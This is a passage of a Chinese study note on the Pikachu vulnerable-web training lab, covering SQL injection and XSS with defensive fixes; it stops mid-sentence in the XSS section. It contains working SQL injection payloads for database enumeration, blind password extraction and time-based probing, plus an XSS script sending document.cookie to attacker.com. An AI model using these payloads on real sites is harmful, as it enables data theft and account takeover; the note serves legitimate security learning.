1. Pikachu学习笔记(3)项目概述
最近在整理Pikachu靶场的学习笔记时,发现很多初学者对其中几个关键漏洞的利用原理存在理解偏差。这篇笔记将重点分析SQL注入、XSS和CSRF这三个核心漏洞类型在Pikachu环境中的具体表现和防御方案。不同于官方文档的简单描述,我会结合自己搭建测试环境时踩过的坑,分享一些实战中的排查技巧。
Pikachu作为国内知名的Web安全学习平台,其漏洞设计非常贴近真实业务场景。比如它的SQL注入模块就模拟了电商网站常见的搜索功能,而XSS部分则还原了社交平台的用户留言系统。这种场景化的设计让学习者能更直观地理解漏洞的危害性。接下来我会按照漏洞类型划分章节,每个漏洞都会包含:漏洞原理、Pikachu环境复现、绕过技巧和修复方案四个部分。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. SQL注入漏洞深度解析
2.1 基础注入原理与Pikachu案例
在Pikachu的"SQL-Inject"模块中,最简单的注入点出现在搜索框。输入单引号触发报错后,通过经典的' and 1=1--+测试就能确认存在字符型注入。这里有个细节需要注意:Pikachu后台使用的是MySQL 5.7版本,这个版本默认会开启严格模式,导致某些特殊payload执行失败。
我整理了几个在Pikachu环境中特别好用的注入语句:
sql复制' union select 1,database()--+ # 获取当前数据库名
' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+ # 枚举数据表
注意:在实际测试时发现Pikachu对union注入做了长度限制,当字段数超过5个时可能会触发防护机制。
2.2 盲注技巧与时间注入
布尔盲注模块设计得非常巧妙,它模拟了后台登录验证场景。通过以下payload可以逐位爆破管理员密码:
sql复制admin' and ascii(substr(password,1,1))>100--+
时间注入部分需要特别注意服务器响应时间的基准值。在我的测试环境中,正常的响应时间是200ms左右,因此设置延时判断阈值时建议:
sql复制' and if(ascii(substr(database(),1,1))>100,sleep(2),0)--+ # 延时2秒足够区分
2.3 防御方案实现
在代码层面修复这些漏洞时,我推荐使用参数化查询配合白名单过滤。以PHP为例:
php复制$stmt = $pdo->prepare("SELECT * FROM products WHERE name LIKE ?");
$stmt->execute(["%".$_GET['keyword']."%"]);
对于已有项目,可以在MySQL配置中添加:
ini复制secure_file_priv=/tmp
local_infile=0
3. XSS漏洞实战分析
3.1 反射型XSS利用链
Pikachu的反射型XSS出现在搜索功能中,但有个容易被忽略的特性:它默认开启了HttpOnly属性。这意味着即使成功注入JS代码,也无法直接窃取cookie。这时候需要更巧妙的利用方式:
html复制<script>
fetch('http://attacker.com/?data='+encodeURIComponent(document.cookie))
</script>
在测试存储型XSS时,发现留言板对
